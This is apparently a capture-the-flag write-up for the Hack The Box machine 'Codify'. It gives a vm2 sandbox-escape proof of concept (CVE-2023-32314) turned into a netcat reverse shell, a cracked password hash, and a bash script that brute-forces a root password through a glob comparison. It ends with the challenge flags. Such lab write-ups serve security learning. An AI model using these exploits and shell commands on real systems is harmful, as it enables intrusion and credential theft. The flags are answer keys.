Overview#
Codify is an easy Linux machine that features a web application that allows users to test Node.js code. The application uses a vulnerable vm2 library, which is leveraged to gain remote code execution. Enumerating the target reveals a SQLite database containing a hash which, once cracked, yields SSH access to the box. Finally, a vulnerable Bash script can be run with elevated privileges to reveal the root user’s password, leading to privileged access to the machine.

Name - Codify
IP - 10.10.11.239
Difficulty - Easy
OS - Linux
Points - 20
Information Gathering#
Port Scan#
Basic Scan
Starting Nmap 7.80 ( https://nmap.org ) at 2024-03-28 22:13 +06
Nmap scan report for 10.10.11.239
Host is up (0.050s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 3.00 secondsVersion Scan
Starting Nmap 7.80 ( https://nmap.org ) at 2024-03-28 22:13 +06
Nmap scan report for 10.10.11.239
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.60 secondsHTTP Enumeration#
There are two ports open with HTTP servers. Let’s first check port 80

Looks like it can run nodejs code. Initially I tried with normal payload and it was not working. Then I found the following article https://security.snyk.io/vuln/SNYK-JS-VM2-5537100

The article features CVE-2023-32314
Also I got a PoC and that PoC worked.
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo hacked").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code));
Now I changed the PoC a little bit to get a reverse shell.
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.118 9001 >/tmp/f").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code));The code worked and I got a reverse shell.

Getting user.txt#
From that svc user, I found a database file in /var/www/contact/tickets.db

The database contains the password hash of the user joshua - $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
Hashcat was able to crack it after some time.

Pass - spongebob1
Using that pass, I was able to get the user flag - 426a34f735a00f1c9ee9557d7b70a8bd

Getting root.txt#
The user joshua has the privilege of running the script (/opt/scripts/mysql-backup.sh) as root user.

The file contains the following code
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'Now this is using bash pattern comparison if [[ $DB_PASS == $USER_PASS ]] and the User_PASS field is in our control. So, we can use * to brute force the password. I write the following script to make the life easy.
#!/bin/bash
COMMAND="sudo -u root /opt/scripts/mysql-backup.sh"
PRE=""
# Loop through the script multiple times
for attempt in {1..40}; do
echo "Attempt $attempt:"
valid_character=""
# Loop through printable ASCII values (33-126)
visited=0
for ((i=33; i<=126; i++))
do
# Exclude specific characters '*', '\', and '?'
if [ $i -eq 42 ] || [ $i -eq 92 ] || [ $i -eq 63 ]
then
continue
else
# Convert ASCII value to character
input=$(printf "\\$(printf '%03o' $i)")
input_with_star="$PRE$input*"
# echo "Input: $input_with_star"
# Execute the command with the current input
result=$(echo -n "$input_with_star" | $COMMAND)
# Check if result is not "Password confirmation failed!"
if [[ "$result" != *"Password confirmation failed!"* ]]; then
echo "Valid character found: $input"
valid_character="$input"
PRE="$PRE$input"
visited=1
break # Exit the inner loop if a valid character is found
fi
fi
done
if [ $visited -eq 0 ]
then
echo "Password = $PRE"
break
fi
doneAfter running the code, I finally got the root password kljh12k3jhaskjh12kjh3

Using the password, I was able to get the root flag 85ba8ff1cec900c09438300d37f3078c

Flags#
user.txt - 426a34f735a00f1c9ee9557d7b70a8bd
root.txt - 85ba8ff1cec900c09438300d37f3078c




